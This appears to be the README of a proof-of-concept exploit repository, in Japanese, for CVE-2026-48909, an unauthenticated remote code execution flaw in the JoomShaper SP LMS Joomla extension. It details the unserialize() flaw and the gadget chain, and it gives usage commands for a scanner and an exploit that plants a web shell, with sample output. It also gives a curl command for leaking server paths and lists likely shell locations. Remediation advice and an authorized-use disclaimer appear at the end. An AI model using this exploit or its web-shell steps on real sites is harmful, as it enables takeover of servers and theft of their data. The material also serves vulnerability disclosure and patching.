
CVE-2026-48909 の概念実証エクスプロイト: JoomShaper SP LMS における PHP オブジェクトインジェクションを介した認証不要のリモートコード実行。検出、悪用、および修復のガイダンスを含みます。
未認証のリモートコード実行 (RCE) — Joomla CMS 向け JoomShaper SP LMS (com_splms) ≤ 4.1.3 における PHP オブジェクトインジェクション
作者: Amin İsayev / Proxima Cyber Security
SP LMS は、JoomShaper 製の人気 Joomla 学習管理システム (LMS) 拡張機能であり、100,000 以上のインストール実績があります。バージョン ≤ 4.1.3 では、lmsOrders Cookie が検証なしで直接 unserialize() に渡されるため、未認証の攻撃者が悪意のある PHP オブジェクトを注入し、Joomla 標準のガジェットチェーンを通じてリモートコード実行 (RCE) を達成できます。
components/com_splms/models/cart.php 28 行目:
$cookie = Factory::getApplication()->input->cookie;
$raw = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded); // ← untrusted user input
lmsOrders Cookie は base64 デコードされ、unserialize() に直接渡されます。攻撃者はデシリアライズされるオブジェクトを完全に制御できます。
Joomla の FormattedtextLogger クラスがガジェットを提供します:
lmsOrders cookie (attacker-controlled)
└─► unserialize() [cart.php:28]
└─► FormattedtextLogger.__destruct() [Joomla gadget]
└─► initFile() → File::write($path, $format)
└─► PHP code written to disk → RCE
注意: RCE には Joomla < 5.2.2 が必要です。
Joomla 5.2.2 ではFormattedtextLogger.__wakeup()が修正されています (PR #44428 を参照)。
PHP オブジェクトインジェクションは、すべての Joomla バージョンにおいて com_splms ≤ 4.1.3 で依然として存在します。
Joomla の Input\Cookie::get() はデフォルトで cmd フィルターを適用し、標準的な base64 に含まれる +、/、= の文字を Cookie 値から取り除きます。このエクスプロイトでは以下を使用します:
$, _, {, }, \n) を回避= パディングを不要に/ と + を排除python3 CVE-2026-48909.py https://target.com
[*] Target : https://target.com
[*] Path : /index.php?option=com_splms&view=cart
[*] Probe : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

https://target.com/tmp/x.php?c=idでシェルが実行中
サーバーパスの特定 (不明な場合):
# cPanel hosting — path leaks from Joomla error pages
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'
# Common paths to try:
# /var/www/html/tmp/x.php
# /home/USER/public_html/tmp/x.php
# /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php
pip install requests
Python 3.10+
lmsOrders Cookie を検証・サニタイズする:// Do NOT use unserialize() on user-controlled data
// Use json_encode/json_decode instead
$cartItems = json_decode(base64_decode($raw), true) ?? [];
本ツールは教育目的および許可されたセキュリティテスト専用として公開されています。
作者は、本プログラムの誤用またはそれによって生じた損害について一切の責任を負いません。
所有していないシステム、または明示的な書面によるテスト許可を得ていないシステムに対しては使用しないでください。
Amin İsayev / Proxima Cyber Security — 2026
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2026-48909 |
| GHSA | GHSA-gf8c-xmwj-whrh |
| 影響を受けるバージョン | SP LMS (com_splms) 1.0.0 – 4.1.3 |
| 修正バージョン | SP LMS ≥ 4.1.4 |
| Joomla 要件 | < 5.2.2 (ガジェットチェーンは 5.2.2 で修正済み) |
| CVSS 4.0 | 9.5 Critical — AV:N/AC:L/AT:P/PR:N/UI:N |
| CWE | CWE-502: 信頼できないデータのデシリアライゼーション |
| 認証要件 | 不要 |
| 開示日 | 2026-05-26 |
| 公開日 | 2026-06-20 |